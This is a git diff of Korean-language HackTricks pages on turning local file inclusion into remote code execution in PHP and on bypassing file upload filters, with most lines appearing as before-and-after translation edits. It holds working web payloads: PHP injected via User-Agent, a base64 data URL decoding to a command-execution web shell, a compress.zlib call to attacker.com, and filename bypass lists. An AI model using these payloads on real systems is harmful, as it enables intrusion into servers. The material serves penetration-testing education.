2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 포함합니다. 여기서 $PID는 프로세스의 PID(무작위로 추측 가능)이고 $FD는 파일 디스크립터(무작위로 추측 가능)입니다.
### /proc/self/environ을 통한 방법
로그 파일처럼, User-Agent에 페이로드를 보내면 /proc/self/environ 파일 에 반영됩니다.
로그 파일처럼, User-Agent에 페이로드를 보내면 /proc/self/environ 파일 에 반영됩니다.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
@ -470,7 +470,7 @@ http://example.com/index.php?page=path/to/uploaded/file.png
```
파일을 읽기 쉽게 유지하기 위해서는 사진/doc/pdf의 메타데이터에 주입하는 것이 가장 좋습니다.
### Zip 파일 업로드를 통한 방법
### Zip 파일 업로드를 통한
PHP 셸이 압축된 ZIP 파일을 업로드하고 접근합니다:
```python
@ -498,18 +498,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
```
### Via ssh
ssh가 활성화되어 있으면 사용 중인 사용자를 확인하십시오 (/proc/self/status & /etc/passwd) 그리고 **\<HOME>/.ssh/id_rsa**에 접근해 보십시오.
ssh가 활성화되어 있으면 사용 중인 사용자 확인하기 (/proc/self/status & /etc/passwd) 및 **\<HOME>/.ssh/id_rsa**에 접근 시도하기
### **Via** **vsftpd** _**logs**_
FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 시나리오에서는 다음 단계를 고려할 수 있습니다:
FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 단계를 고려할 수 있습니다:
1. 로그인 과정에서 사용자 이름 필드에 PHP 페이로드를 주입합니다.
2. 주입 후, LFI를 이용하여 _**/var/log/vsftpd.log**_에서 서버 로그를 검색합니다.
1. 로그인 과정에서 사용자 이름 필드에 PHP 페이로드 주입하기.
2. 주입 후, LFI를 이용하여 _**/var/log/vsftpd.log**_에서 서버 로그를 검색하기.
### Via php base64 filter (using base64)
[](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 기사에서 보여준 것처럼, PHP base64 필터는 Non-base64를 무시합니다. 이를 사용하여 파일 확장자 검사를 우회할 수 있습니다: ".php"로 끝나는 base64를 제공하면, 단순히 "."를 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
[](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 기사에서 보여준 것처럼, PHP base64 필터는 Non-base64를 무시합니다. 이를 사용하여 파일 확장자 검사를 우회할 수 있습니다: ".php"로 끝나는 base64를 제공하면, "."를 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -525,7 +525,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**파일을 업로드**하여 `/tmp`**임시로** 저장한 다음, **같은 요청에서** **세그멘테이션 오류**를 발생시키면 **임시 파일이 삭제되지 않고** 검색할 수 있습니다.
**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -533,7 +533,7 @@ lfi2rce-via-segmentation-fault.md
### Via Nginx temp file storage
**로컬 파일 포함**을 발견하고 **Nginx**가 PHP 앞에서 실행되고 있다면 다음 기술을 사용하여 RCE를 얻을 수 있습니다:
**Local File Inclusion**을 발견하고 **Nginx**가 PHP 앞에서 실행되고 있다면 다음 기술을 사용하여 RCE를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
@ -541,7 +541,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
**로컬 파일 포함**을 발견했더라도 **세션이 없고** `session.auto_start``Off`인 경우, **`PHP_SESSION_UPLOAD_PROGRESS`**를 **multipart POST** 데이터에 제공하면 PHP가 **세션을 활성화**합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
**Local File Inclusion**을 발견했지만 **세션이 없고** `session.auto_start``Off`인 경우에도 가능합니다. **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 **세션을 활성화**합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
{{#ref}}
via-php_session_upload_progress.md
@ -549,7 +549,7 @@ via-php_session_upload_progress.md
### Via temp file uploads in Windows
**로컬 파일 포함**을 발견하고 서버가 **Windows**에서 실행되고 있다면 RCE를 얻을 수 있습니다:
**Local File Inclusion**을 발견하고 서버가 **Windows**에서 실행되고 있다면 RCE를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
@ -557,7 +557,7 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
[**이 게시물에서 설명된 바와 같이**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php 도커 이미지에 기본적으로 존재합니다. 또한, URL 매개변수가 `=`가 없으면 인수로 사용해야 한다고 명시되어 있기 때문에 URL을 통해 스크립트에 인수를 전달할 수 있습니다.
[**이 포스트에서 설명된 바와 같이**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php 도커 이미지에 기본적으로 존재합니다. 또한, URL 매개변수가 `=`가 없으면 인수로 사용해야 한다고 명시되어 있기 때문에 URL을 통해 스크립트에 인수를 전달할 수 있습니다.
다음 요청은 `/tmp/hello.php``<?=phpinfo()?>`라는 내용을 가진 파일을 생성합니다:
```bash
@ -580,13 +580,13 @@ lfi2rce-via-phpinfo.md
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 경로 노출을 통한 방법
**Local File Inclusion**을 발견하고 **임시 파일의 경로를 추출할 수 있지만** **서버**가 **포함할 파일에 PHP 마크가 있는지 확인**하고 있다면, 이 **Race Condition**을 사용하여 **그 검사를 우회**할 수 있습니다:
**Local File Inclusion**을 발견하고 **임시 파일의 경로를 추출할 수 있지만** **서버**가 **포함할 파일에 PHP 마크가 있는지 확인**하고 있다면, 이 **경쟁 조건**을 사용하여 **그 검사를 우회**할 수 있습니다:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### 영원한 대기 + 브루트포스
### 영원한 대기 + 브루트포스 방법
LFI를 악용하여 **임시 파일을 업로드**하고 서버가 PHP 실행을 **중단**하게 만들 수 있다면, **몇 시간 동안 파일 이름을 브루트포스**하여 임시 파일을 찾을 수 있습니다:
@ -594,12 +594,12 @@ LFI를 악용하여 **임시 파일을 업로드**하고 서버가 PHP 실행을
lfi2rce-via-eternal-waiting.md
{{#endref}}
### 치명적 오류로
### 치명적 오류로
파일 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` 중 하나를 포함하면 됩니다. (그 오류를 발생시키기 위해 같은 파일을 2번 포함해야 합니다).
파일 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` 중 하나를 포함하면 됩니다. (같은 파일을 2번 포함해야 그 오류가 발생합니다).
**이것이 어떻게 유용한지는 모르겠지만, 유용할 수 있습니다.**\
&#xNAN;_&#x45;PHP 치명적 오류를 발생시켜도, 업로드된 PHP 임시 파일은 삭제됩니다._
&#xNAN;_&#x45;PHP 치명적 오류를 발생시켜도, 업로드된 PHP 임시 파일은 삭제됩니다._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

View File

@ -6,7 +6,7 @@
`PHP_STREAM_PREFER_STDIO` 플래그와 함께 `compress.zlib://` 프로토콜을 사용하여 열린 파일은 나중에 연결에 도착하는 데이터를 동일한 파일에 계속 쓸 수 있습니다.
것은 다음과 같은 호출을 의미합니다:
다음과 같은 호출을 의미합니다:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
@ -28,12 +28,12 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
공격자는 **피해자 서버가 공격자의 서버에서 파일을 읽는 연결을 열도록** 할 것입니다 **`compress.zlib`** 프로토콜을 사용하여.
**연결**이 존재하는 동안 공격자는 **생성된 임시 파일의 경로를 유출**할 것입니다 (서버에 의해 유출됨).
**연결**이 존재하는 동안 공격자는 **임시 파일의 경로를 유출**할 것입니다 (서버에 의해 유출됨).
**연결**이 여전히 열려 있는 동안 공격자는 **그가 제어하는 임시 파일을 로드하는 LFI를 용**할 것입니다.
**연결**이 여전히 열려 있는 동안 공격자는 **그가 제어하는 임시 파일을 로드하는 LFI를 용**할 것입니다.
그러나 웹 서버에는 **`<?`**가 포함된 파일을 로드하는 것을 **방지하는 체크**가 있습니다. 따라서 공격자는 **경쟁 조건**을 악용할 것입니다. 여전히 열려 있는 연결에서 **공격자**는 **웹 서버**가 **금지된 문자가 포함되어 있는지 확인한 후** **PHP 페이로드를 전송할 것입니다** 그러나 **내용을 로드하기 전에**.
그러나 웹 서버에는 **`<?`**가 포함된 파일을 로드하는 것을 **방지하는 체크**가 있습니다. 따라서 공격자는 **Race Condition**을 악용할 것입니다. 여전히 열려 있는 연결에서 **공격자**는 **웹서버**가 **금지된 문자가 포함되어 있는지 체크한 후** **PHP 페이로드를 전송**할 것입니다. 그러나 **내용을 로드하기 전에**입니다.
자세한 내용은 [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)에서 경쟁 조건 및 CTF 설명을 확인하세요.
자세한 정보는 [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)에서 Race Condition 및 CTF 설명을 확인하세요.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Basic Information
기본적으로 PHP에 파일이 업로드되면 (예상하지 않더라도) **`/tmp`**에 **`php[a-zA-Z0-9]{6}`**와 같은 이름의 임시 파일이 생성됩니다. 그러나 일부 도커 이미지에서는 생성된 파일에 숫자가 포함되지 않는 경우도 보았습니다.
기본적으로 PHP에 파일이 업로드되면 (예상하지 않더라도) **`/tmp`**에 **`php[a-zA-Z0-9]{6}`**와 같은 이름의 임시 파일이 생성됩니다. 그러나 일부 도커 이미지에서는 생성된 파일에 숫자가 포함되지 않는 경우도 있었습니다.
로컬 파일 포함에서 **업로드된 파일을 포함할 수 있다면 RCE를 얻을 수 있습니다**.
@ -17,8 +17,8 @@ max_file_uploads = 20
### 다른 기술들
다른 기술들은 PHP 프로토콜을 공격하는 데 의존합니다(경로의 마지막 부분만 제어할 경우에는 불가능합니다), 파일의 경로를 노출시키거나, 예상되는 파일을 악용하거나, **PHP가 세그멘테이션 오류를 겪게 하여 업로드된 임시 파일이 삭제되지 않도록 만드는 것입니다**.\
이 기술은 **마지막 기술과 매우 유사하지만 제로 데이를 찾을 필요 없습니다**.
다른 기술들은 PHP 프로토콜을 공격하는 데 의존합니다(경로의 마지막 부분만 제어할 수 있다면 불가능합니다), 파일의 경로를 노출시키거나, 예상되는 파일을 악용하거나, **PHP가 세그멘테이션 오류를 겪게 하여 업로드된 임시 파일이 삭제되지 않도록 는 것입니다**.\
이 기술은 **마지막 기술과 매우 유사하지만 제로 데이를 찾을 필요 없습니다**.
### 영원한 대기 기술
@ -35,11 +35,11 @@ max_file_uploads = 20
- 특정 파일이 존재해야 합니다(더 있을 수 있습니다).
- **미친** 잠재적 파일 이름의 수: **56800235584**
- 서버가 **숫자를 사용하지 않는 경우** 총 잠재적 수는: **19770609664**
- 서버가 **숫자를 사용하지 않는다면** 총 잠재적 수는: **19770609664**
- 기본적으로 **단일 요청**에서 **20개 파일만** 업로드할 수 있습니다.
- 사용된 서버의 **최대 병렬 작업자 수**.
- 이전의 제한과 함께 이 제한은 이 공격이 너무 오래 지속되게 만들 수 있습니다.
- **PHP 요청의 타임아웃**. 이상적으로는 영원해야 하거나 임시로 업로드된 파일을 삭제하지 않고 PHP 프로세스를 종료해야 합니다. 그렇지 않으면 이것도 문제가 될 것입니다.
- **PHP 요청의 타임아웃**. 이상적으로는 영원해야 하거나 임시로 업로드된 파일을 삭제하지 않고 PHP 프로세스를 종료해야 합니다. 그렇지 않으면 이것도 고통이 될 것입니다.
그렇다면, 어떻게 **PHP 포함을 끝나지 않게 만들 수 있을까요**? 파일 **`/sys/kernel/security/apparmor/revision`**을 포함하기만 하면 됩니다 (**불행히도 Docker 컨테이너에서는 사용할 수 없습니다...**).
@ -65,18 +65,18 @@ include("/sys/kernel/security/apparmor/revision");
> [!WARNING]
> 이전 예제에서 우리는 **다른 클라이언트를 완전히 DoS**하고 있다는 점에 유의하세요!
Apache 서버가 개선되고 **4000개의 연결**을 남용할 수 있다면 (최대 수의 절반). 우리는 `3999*20 = 79980` **파일**을 생성할 수 있으며, **시간**은 약 **19.7시간** 또는 **6.9시간**으로 **줄어들** 것입니다 (10시간, 3.5시간 50% 확률).
Apache 서버가 개선되고 **4000개의 연결**을 남용할 수 있다면 (최대 수의 절반). 우리는 `3999*20 = 79980` **파일**을 생성할 수 있으며 **시간**은 약 **19.7시간** 또는 **6.9시간**으로 **줄어들** 것입니다 (10시간, 3.5시간 50% 확률).
## PHP-FMP
정상적인 php 모듈 대신 **웹 페이지가** **PHP-FMP**를 사용하여 PHP 스크립트를 실행하는 경우 (이것은 웹 페이지의 효율성을 향상시키므로 일반적으로 발견됩니다), 기술을 개선하기 위해 할 수 있는 다른 이 있습니다.
정상적인 php 모듈 대신 **웹 페이지가** **PHP-FMP**를 사용하여 PHP 스크립트를 실행하는 경우 (이것은 웹 페이지의 효율성을 향상시키므로 일반적으로 발견됩니다), 기술을 개선하기 위해 할 수 있는 다른 방법이 있습니다.
PHP-FMP는 **`/etc/php/<php-version>/fpm/pool.d/www.conf`**에서 **매개변수** **`request_terminate_timeout`**을 **구성**할 수 있게 해줍니다.\
이 매개변수는 **PHP에 대한 요청이 종료되어야 하는 최대 초 수**를 나타냅니다 (기본값은 무한하지만, **매개변수가 주석 해제되면 30초**). PHP가 요청을 처리하는 동안 지정된 초 수가 지나면, 요청이 **종료**됩니다. 이는 요청이 임시 파일을 업로드하고 있었던 경우, **PHP 처리가 중단되었기 때문에**, 해당 **파일이 삭제되지 않을 것**을 의미합니다. 따라서, 요청이 그 시간을 지속할 수 있다면, **삭제되지 않을 수천 개의 임시 파일을 생성**할 수 있으며, 이는 **파일을 찾는 과정을 가속화**하고 모든 연결을 소모하여 플랫폼에 대한 DoS 확률을 줄입니다.
PHP-FMP는 **`/etc/php/<php-version>/fpm/pool.d/www.conf`**에서 **`request_terminate_timeout`** **매개변수**를 **구성**할 수 있게 해줍니다.\
이 매개변수는 **PHP에 대한 요청이 종료되어야 하는 최대 초 수**를 나타냅니다 (기본적으로 무한하지만 **매개변수가 주석 해제되면 30초**). PHP가 요청을 처리하는 동안 지정된 초 수가 지나면, 요청이 **종료**됩니다. 이는 요청이 임시 파일을 업로드하고 있었던 경우, **PHP 처리가 중단되었기 때문에**, 해당 **파일이 삭제되지 않을 것**을 의미합니다. 따라서 요청이 그 시간을 지속할 수 있다면, **삭제되지 않을 수천 개의 임시 파일을 생성**할 수 있으며, 이는 **파일을 찾는 과정을 가속화**하고 모든 연결을 소모하여 플랫폼에 대한 DoS 확률을 줄입니다.
따라서 **DoS를 피하기 위해** 공격자가 동시에 **100개의 연결**만 사용할 것이라고 가정하고 php max 처리 시간은 **php-fmp**의 **`request_terminate_timeout`**이 **30초**라고 가정합니다. 따라서 **초당** 생성할 수 있는 **임시 파일**의 수는 `100*20/30 = 66.67`입니다.
그런 다음, **10000개의 파일**을 생성하기 위해 공격자는: **`10000/66.67 = 150초`**가 필요합니다 ( **100000개의 파일**을 생성하는 데 걸리는 시간은 **25분**입니다).
그런 다음, **10000개의 파일**을 생성하기 위해 공격자는: **`10000/66.67 = 150초`**가 필요합니다 ( **100000개의 파일**을 생성하는 데는 **25분**이 소요됩니다).
그런 다음, 공격자는 이 **100개의 연결**을 사용하여 **브루트 포스 검색**을 수행할 수 있습니다. \*\*\*\* 300 req/s의 속도를 가정할 때, 이를 활용하는 데 필요한 시간은 다음과 같습니다:

View File

@ -4,7 +4,7 @@
## Intro
이 [**작성물**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php 필터를 사용하여 임의의 콘텐츠**를 출력으로 생성할 수 있음을 설명합니다. 이는 기본적으로 **파일에 작성할 필요 없이 임의의 php 코드를 생성**할 수 있음을 의미합니다.
이 [**작성물**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php 필터를 사용하여 임의의 콘텐츠**를 출력으로 생성할 수 있음을 설명합니다. 이는 기본적으로 **파일에 작성할 필요 없이** 포함할 **임의의 php 코드를 생성할 수 있음을 의미합니다**.
기본적으로 스크립트의 목표는 **파일의 시작 부분에 Base64** 문자열을 **생성**하여 **최종적으로 디코딩**되어 원하는 페이로드를 **`include`에 의해 해석**되도록 하는 것입니다.
@ -22,7 +22,7 @@
5. php 코드를 얻기 위해 base64 디코딩합니다.
> [!WARNING]
> **Includes**는 일반적으로 **파일 끝에 ".php"를 추가**하는 작업을 수행하므로, 이를 악용하기 어렵게 만들 수 있습니다. 왜냐하면 당신은 익스플로잇을 죽이지 않는 콘텐츠를 가진 .php 파일을 찾아야 하기 때문입니다... 또는 **`php://temp`를 리소스로 사용할 수 있습니다**. 왜냐하면 이름에 **무엇이든 추가할 수 있기 때문입니다** (예: +".php") 그리고 여전히 익스플로잇이 작동하도록 허용합니다!
> **포함**은 일반적으로 **파일 끝에 ".php"를 추가하는** 작업을 수행하므로, 이를 악용하기 어렵게 만들 수 있습니다. 왜냐하면 당신은 익스플로잇을 죽이지 않는 콘텐츠를 가진 .php 파일을 찾아야 하기 때문입니다... 또는 **`php://temp`를 리소스로 사용할 수 있습니다**. 왜냐하면 이름에 **무엇이든 추가할 수 있기 때문입니다** (예: +".php") 그리고 여전히 익스플로잇이 작동하도록 허용합니다!
## 결과 데이터에 접미사를 추가하는 방법

View File

@ -10,7 +10,7 @@
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
당신은 또한 **payload**를 익스플로잇의 시작 부분에서 변경해야 합니다(예: php-rev-shell), **REQ1**(이것은 phpinfo 페이지를 가리켜야 하며 패딩이 포함되어야 합니다, 즉: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), 그리고 **LFIREQ**(이것은 LFI 취약점을 가리켜야 합니다, 즉: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 널 문자 익스플로잇 시 더블 "%"를 확인하세요)
당신은 또한 **payload**를 익스플로잇의 시작 부분에서 변경해야 합니다(예: php-rev-shell의 경우), **REQ1**(이것은 phpinfo 페이지를 가리켜야 하며 패딩이 포함되어야 합니다, 즉: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), 그리고 **LFIREQ**(이것은 LFI 취약점을 가리켜야 합니다, 즉: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 널 문자 익스플로잇 시 이중 "%"를 확인하세요)
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
@ -22,11 +22,11 @@ PHP에서 업로드가 허용되면 파일을 업로드하려고 할 때, 이
**Windows**에서는 파일이 일반적으로 **C:\Windows\temp\php**에 저장됩니다.
**Linux**에서는 파일 이름이 **random**이며 **/tmp**에 위치합니다. 이름이 무작위이기 때문에 **어딘가에서 임시 파일의 이름을 추출하고** 삭제되기 전에 접근해야 합니다. 이는 "**phpconfig()**" 함수의 내용 내에서 **변수 $\_FILES**의 값을 읽음으로써 수행할 수 있습니다.
**Linux**에서는 파일 이름이 **무작위**이며 **/tmp**에 위치합니다. 이름이 무작위이기 때문에 **어딘가에서 임시 파일의 이름을 추출하고** 삭제되기 전에 접근해야 합니다. 이는 "**phpconfig()**" 함수의 내용 내에서 **변수 $\_FILES**의 값을 읽음으로써 수행할 수 있습니다.
**phpinfo()**
**PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면** 클라이언트에게 **전송됩니다**. 그런 다음 클라이언트는 **많은 큰 요청을 보낼 수 있습니다**(큰 헤더를 사용하여) **php** 리버스 **셸을 업로드하고**, **phpinfo()의 첫 번째 부분이 반환될 때까지 기다립니다**(임시 파일의 이름이 있는 곳) 그리고 LFI 취약점을 익스플로잇하여 php 서버가 파일을 삭제하기 전에 **임시 파일에 접근하려고 시도합니다**.
**PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면** 클라이언트에게 **전송**됩니다. 그런 다음 클라이언트는 **많은 큰 요청**(큰 헤더를 사용하여) **php** 리버스 **셸을 업로드하고**, **phpinfo()의 첫 번째 부분이 반환될 때까지 기다린 후**(임시 파일의 이름이 있는 곳) **LFI 취약점을 익스플로잇하여 php 서버가 파일을 삭제하기 전에 임시 파일에 접근**하려고 시도할 수 있습니다.
**이름을 브루트포스 시도하기 위한 Python 스크립트(길이 = 6)**
```python

View File

@ -12,7 +12,7 @@ include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAA
```
당신은 **파일**을 **포함하는** **POST** 요청을 **전송**하면 PHP가 해당 파일의 내용을 가진 **`/tmp/php<something>`**에 **임시 파일**을 생성한다는 것을 알아야 합니다. 이 파일은 요청이 처리되면 **자동으로 삭제**됩니다.
**LFI**를 발견하고 PHP에서 세그멘테이션 오류를 **유발**하면 **임시 파일은 절대 삭제되지 않습니다**. 따라서 **LFI** 취약점을 사용하여 파일을 **검색**하고 임의의 코드를 실행할 수 있습니다.
**LFI**를 발견하고 PHP에서 세그멘테이션 오류를 **유발**하면 **임시 파일은 절대 삭제되지 않습니다**. 따라서 **LFI** 취약점을 사용하여 파일을 **검색**하고 이를 찾아 임의의 코드를 실행할 수 있습니다.
테스트를 위해 도커 이미지를 사용할 수 있습니다: [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0)
```python

View File

@ -7,7 +7,7 @@
**PHP** 엔진이 RFC 1867에 따라 형식화된 파일을 포함하는 **POST 요청**을 수신하면, 업로드된 데이터를 저장하기 위해 임시 파일을 생성합니다. 이러한 파일은 PHP 스크립트에서 파일 업로드 처리를 위해 중요합니다. 지속적인 저장이 필요할 경우, `move_uploaded_file` 함수를 사용하여 이러한 임시 파일을 원하는 위치로 이동해야 합니다. 실행 후, PHP는 남아 있는 임시 파일을 자동으로 삭제합니다.
> [!NOTE]
> **보안 경고: 임시 파일의 위치를 알고 있는 공격자는 업로드 중 파일에 접근하여 코드 실행을 위해 로컬 파일 포함 취약점을 악용할 수 있습니다.**
> **보안 경고: 임시 파일의 위치를 알고 있는 공격자는 파일 업로드 중 파일에 접근하여 코드 실행을 위해 로컬 파일 포함 취약점을 악용할 수 있습니다.**
무단 접근의 도전 과제는 임시 파일의 이름을 예측하는 것으로, 이는 의도적으로 무작위화됩니다.
@ -19,7 +19,7 @@ Windows에서 PHP는 `GetTempFileName` 함수를 사용하여 임시 파일 이
- 접두사는 보통 "php"입니다.
- `<uuuu>`는 고유한 16진수 값을 나타냅니다. 중요한 점은 함수의 제한으로 인해 하위 16비트만 사용되므로, 상수 경로와 접두사를 가진 최대 65,535개의 고유 이름이 가능하여 무차별 대입이 가능하다는 것입니다.
또한, Windows 시스템에서의 악용 과정은 간소화됩니다. `FindFirstFile` 함수의 특이성으로 인해 로컬 파일 포함(LFI) 경로에서 와일드카드를 사용할 수 있습니다. 이를 통해 임시 파일을 찾기 위한 포함 경로를 다음과 같이 작성할 수 있습니다:
게다가, Windows 시스템에서의 악용 과정은 간소화됩니다. `FindFirstFile` 함수의 특이성으로 인해 로컬 파일 포함(LFI) 경로에서 와일드카드를 사용할 수 있습니다. 이를 통해 임시 파일을 찾기 위한 포함 경로를 다음과 같이 작성할 수 있습니다:
```
http://site/vuln.php?inc=c:\windows\temp\php<<
```

View File

@ -2,11 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
**Phar** 파일(PHP Archive) 파일은 **직렬화된 형식의 메타 데이터**를 포함하고 있으므로, 파싱될 때 이 **메타 데이터**는 **역직렬화**되고, **PHP** 코드 내에서 **역직렬화** 취약점을 악용할 수 있습니다.
이 특성의 가장 좋은 점은 **file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()**와 같이 PHP 코드를 평가하지 않는 PHP 함수를 사용하더라도 이 역직렬화가 발생한다는 것입니다.
이 특성의 가장 좋은 점은 **file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()**와 같이 PHP 코드를 eval하지 않는 PHP 함수를 사용하더라도 이 역직렬화가 발생한다는 것입니다.
따라서, **`phar://`** 프로토콜을 사용하여 임의의 파일의 크기를 가져오는 PHP 웹이 있는 상황을 상상해 보십시오. 그리고 코드 내에서 다음과 유사한 **클래스**를 찾을 수 있습니다:
따라서, **`phar://`** 프로토콜을 사용하여 임의의 파일의 크기를 가져오는 PHP 웹이 있는 상황을 상상해 보십시오. 그리고 코드 내에서 다음과 유사한 **class**를 찾을 수 있습니다:
```php:vunl.php
<?php
class AnyClass {

View File

@ -4,7 +4,7 @@
## 기본 정보
세션이 없고 `session.auto_start`가 꺼져 있어도 **Local File Inclusion**을 발견한 경우, **`session.upload_progress.enabled`**가 **`On`**이**multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 **세션을 활성화**합니다.
세션이 없고 `session.auto_start`가 꺼져 있어도 **Local File Inclusion**을 발견한 경우, **`session.upload_progress.enabled`**가 **켜져****multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 **세션을 활성화**합니다.
```bash
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/

View File

@ -2,6 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## 파일 업로드 일반 방법론
기타 유용한 확장자:
@ -18,7 +19,7 @@
### 파일 확장자 검사 우회
1. 적용되는 경우, **이전 확장자**를 **확인**합니다. 또한 **대문자**를 사용하여 테스트합니다: _pHp, .pHP5, .PhAr ..._
2. _실행 확장자 **앞에 유효한 확장자 추가** 확인합니다 (이전 확장자도 사용):_
2. _실행 확장자 앞에 **유효한 확장자 추가** 확인 (이전 확장자도 사용):_
- _file.png.php_
- _file.png.Php5_
3. **특수 문자를 끝에 추가**해 보십시오. Burp를 사용하여 모든 **ascii****Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전의 **확장자**를 사용하여 더 나은 페이로드를 준비할 수도 있습니다._)
@ -31,82 +32,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자를 두 번** 추가하거나 **쓰레기** 데이터를 추가하는 기술을 사용할 수 있습니다.
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 이전 검사에 **또 다른 확장자 레이어를 추가**합니다:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **유효한 확장자 앞에 exec 확장자를 넣고** 서버가 잘못 구성되기를 기도합니다. (Apache 잘못 구성에서 유용하며, 확장자 **.php**로 끝나지 않더라도 코드를 실행합니다):
- _ex: file.php.png_
7. **Windows에서 NTFS 대체 데이터 스트림(ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로, **금지된 확장자를 가진 빈 파일**이 서버에 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
8. 파일 이름 제한을 **깨뜨려** 보십시오. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php
```
# Linux 최대 255 바이트
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가
# 파일을 업로드하고 응답을 확인하여 허용되는 문자의 수를 확인합니다. 예를 들어 236
python -c 'print "A" * 232'
